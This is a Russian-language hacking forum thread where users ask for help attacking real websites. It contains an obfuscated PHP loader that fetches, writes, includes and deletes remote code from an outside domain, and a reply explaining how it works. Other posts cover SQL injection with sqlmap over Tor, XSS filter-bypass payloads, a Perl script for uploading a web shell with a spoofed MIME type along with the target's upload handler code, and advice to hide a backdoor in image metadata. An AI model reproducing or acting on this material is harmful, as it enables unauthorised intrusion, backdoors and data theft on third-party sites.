Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. jakonda1001

    jakonda1001 New Member

    Joined:
    17 Mar 2016
    Messages:
    173
    Likes Received:
    3
    Reputations:
    0
    как залиться через это
    1. <?php
    2. @ini_set('display_errors', '0');
    3. error_reporting(0);
    4. if (!$npDcheckClassBgp) {
    5. $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
    6. if (ini_get('allow_url_fopen')) {
    7. function get_data_ya($url) {
    8. $data = file_get_contents($url);
    9. return $data;
    10. }
    11. }
    12. else {
    13. function get_data_ya($url) {
    14. $ch = curl_init();
    15. curl_setopt($ch, CURLOPT_HEADER, 0);
    16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    17. curl_setopt($ch, CURLOPT_URL, $url);
    18. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
    19. $data = curl_exec($ch);
    20. curl_close($ch);
    21. return $data;
    22. }
    23. }
    24. function wp_cd($fd, $fa="")
    25. {
    26. $fe = "wp_frmfunct";
    27. $len = strlen($fd);
    28. $ff = '';
    29. $n = $len>100 ? 8 : 2;
    30. while( strlen($ff)<$len )
    31. {
    32. $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
    33. }
    34. return $fd^$ff;
    35. }
    36. $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    37. preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    38. $dirs = glob("*", GLOB_ONLYDIR);
    39. foreach ($dirs as $dira) {
    40. if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    41. $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    42. foreach ($subdirs as $subdira) {
    43. if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    44. }
    45. }
    46. if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    47. fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    48. fclose($hdl);
    49. include("{$eb}.$algo");
    50. unlink("{$eb}.$algo");
    51. $npDcheckClassBgp = 'aue';
    52. }
     
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    639
    Likes Received:
    1,350
    Reputations:
    409
    Он тянет, сохраняет и инклудит вот этот http://linksferma.com/lnk/inj.php скрипт. Там уже понятнее, что к чему.
     
  3. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    подскажите друзья есть сайт с гет параметром, добавил в конец ' вышла такая ошибка, думаю есть уязвимость
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near and status=1' at line 1
    1064
    но при попытке раскрутить его мапом выдает ошибку unable to connect to the target URL
    пробывал прокси сунуть такая же беда
     
  4. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,140
    Likes Received:
    25,521
    Reputations:
    138
    TPAXXTOP likes this.
  5. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
  6. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    239
    Likes Received:
    441
    Reputations:
    142
    Попробуй для начала раскрутить руками. Потом, когда на руках будет раскрученная уязвимость - используй соответствующие тамперы.
     
    erwerr2321 and TPAXXTOP like this.
  7. TPAXXTOP

    TPAXXTOP New Member

    Joined:
    12 Oct 2016
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    да дело в том что я не умею крутить руками) подскажи как это сделать правильно, или тыкни хоть в какой то мануал пожалуста)
     
  8. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,140
    Likes Received:
    25,521
    Reputations:
    138
    TPAXXTOP likes this.
  9. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    2
    Reputations:
    2
    css injection гугли
     
  10. karkajoi

    karkajoi Well-Known Member

    Joined:
    26 Oct 2016
    Messages:
    432
    Likes Received:
    317
    Reputations:
    5
    запускай тор , в мапе пропиши --tor или юзай прокси
     
  11. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    57
    Likes Received:
    0
    Reputations:
    0
  12. c4n3k

    c4n3k New Member

    Joined:
    29 Oct 2018
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
  13. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
    Скинь посмотрю
     
    matthhy likes this.
  14. matthhy

    matthhy New Member

    Joined:
    16 Feb 2017
    Messages:
    57
    Likes Received:
    0
    Reputations:
    0
    Ребят, кто может помочь.
    Есть ссылка, нашел через NetSparker, она выдает ошибку. Можно ли эту ошибку как-то раскрутить.(адрес по типу https://site.su/fullnews-14
    [​IMG]
     
  15. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
    Привет есть обходы для фильтра () " ?
    Code:
    <a href="javascript:alert1">XSS</a>
     
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,788
    Likes Received:
    872
    Reputations:
    859
    onerror=alert;throw 1;

    This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.


    onerror=eval;throw'=alert\x281\x29';
     
    _________________________
  17. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
    Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
     
  18. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,788
    Likes Received:
    872
    Reputations:
    859
    Вы что-нибудь слышали об упущенной выгоде?
     
    _________________________
    cat1vo likes this.
  19. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    153
    Likes Received:
    10
    Reputations:
    0
    Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа:

    Code:
    #!/usr/bin/perl
    #
    use LWP;
    use HTTP::Request::Common;
    $ua = $ua = LWP::UserAgent->new;;
       $res = $ua->request(POST 'Уязвимый Сайт',
            Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE"
    X-Unity-Version: 5.6.5f1',
            Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],);
    
    print $res->as_string();

    Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре)
    В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла)
    Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл?

    Code:
    <?php
    
    include_once dirname(__FILE__) . '/configuration.php';
    include_once dirname(__FILE__) . '/includes/share/share.class.php';
    
    $oConfig = new JConfig();
    $Image = isset($_POST['content']) ? $_POST['content'] : null;
    if (is_null($Image)) {
        $Image = isset($_FILES['content']) ? $_FILES['content'] : null;
    }
    $Preview = isset($_POST['preview']) ? $_POST['preview'] : '';
    if (empty($Preview)) {
        $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : '';
    }
    $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']);
    $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : '';
    $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign'];
    $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/';
    if ($Image && $iAuid && $sSign) {
        $sScriptUri = empty($_SERVER['SCRIPT_URI'])
            ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']
            : $_SERVER['SCRIPT_URI'];
        if (md5($iAuid . $sScriptUri) == $sSign) {
            $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign);
            $oSharer->setConfig($oConfig);
            $sShareUrl = null;
            $iResult = $oSharer->doShare($sShareUrl);
            if ($iResult == 1) {
                print $sBaseUrl . $sShareUrl;
            } else {
                print $sBaseUrl . '?ec=' . $iResult;
            }
        } else {
            error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
            print $sBaseUrl . '?ec=1001'; //подпись не совпадает
        }
    } else {
        error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
        print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
    }
    
    Code:
    <?php
    
    include_once dirname(__FILE__).'/../mysql/mysql.class.php';
    
    class GameShare
    {
        private $auid;
        private $shareType;
        private $fileInfo;
        private $previewInfo;
        private $oConfig;
        private $sign;
        private $dbInfo = array();
        private $allowedMime = array(
            'image/png',
            'image/gif',
            'image/jpeg',
        );
    
        /**
         * @param $auid
         * @param $fileInfo
         * @param string $previewInfo
         * @param string $shareType
         * @param string $sign
         */
        public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '')
        {
            $this->auid = $auid;
            $this->fileInfo = $fileInfo;
            $this->previewInfo = $previewInfo;
            $this->shareType = $shareType;
            $this->sign = $sign;
        }
    
        /**
         * @param $sFolder
         */
        private function createFolder($sFolder)
        {
            if (!file_exists($sFolder)) {
                mkdir($sFolder, 0777);
            }
        }
    
        /**
         * @return null|string
         */
        private function createUserFolder()
        {
            if ($this->auid) {
                $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
                $this->createFolder($shareFolder);
                $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
                $this->createFolder($shareFolder10000);
                $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
                $this->createFolder($shareFolder1000);
                $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
                $this->createFolder($shareFolder100);
                $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
                $this->createFolder($shareFolder1);
                return $shareFolder1;
            }
    
            return null;
        }
    
        /**
         * @return string
         */
        public function getUserFolder()
        {
            return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
                . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
        }
    
        /**
         * @param $oConfig
         */
        public function setConfig($oConfig)
        {
            $this->oConfig = $oConfig;
            $this->dbInfo = array(
                'mysqlHost' => $this->oConfig->host,
                'mysqlUser' => $this->oConfig->user,
                'mysqlPassword' => $this->oConfig->password,
                'mysqlDB' => $this->oConfig->db,
            );
        }
    
        /**
         * @param $auid
         */
        public function setAuid($auid)
        {
            $this->auid = $auid;
        }
    
        /**
         * @param $sResult
         * @return int
         */
        public function doShare(& $sResult)
        {
            $sUserFolder = $this->createUserFolder();
            if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер
    
            $time = time();
    
            // Заливаем основную картинку
            $imageInfo = getimagesize($this->fileInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $fileName = $time . '.' . $aExt[1];
            $sDest = $sUserFolder . $fileName;
            move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
    
            // Заливаем превью (если есть что)
            $previewFileName = '';
            if ($this->previewInfo) {
                $imageInfo = getimagesize($this->previewInfo['tmp_name']);
                if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
                if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
                $aExt = explode('/', $imageInfo['mime']);
                $previewFileName = $time . '-thumb.' . $aExt[1];
                $sDest = $sUserFolder . $previewFileName;
                move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
            }
    
            // Сохраняем, формируем ответ, если ОК
            $iResult = $this->save($fileName, $previewFileName);
            if (!$iResult) return 1004;
            $sResult = '?share='.$iResult;
    
            return 1;
        }
    
        /**
         * @param $fileName
         * @param string $previewFileName
         * @return mixed
         */
        public function save($fileName, $previewFileName = '')
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
                . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');
    
            return $oSQL->insert_id;
        }
    
        /**
         * @param $id
         * @return mixed
         */
        public function get($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));
    
            return $oResult->fetch_array();
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getPrev($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['prev']);
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getNext($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['next']);
        }
    
        /**
         * @param $auid
         * @return mixed
         */
        public function checkUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
            $aRow = $oResult->fetch_assoc();
    
            return $aRow['iCnt'];
        }
    
        /**
         * @param $auid
         * @return array
         */
        public function getUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
            $aResult = array();
            while ($aRow = $oResult->fetch_assoc()) {
                $aResult[] = $aRow;
            }
    
            return $aResult;
        }
    }
    
     
  20. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,403
    Likes Received:
    883
    Reputations:
    859
    Заливаете сам шел? попробуйте лить саму картинку и в ее метотегах прописать мини бэгдорчик, а там если прольется, с него уже и лейте шелл.
     
    _________________________
Loading...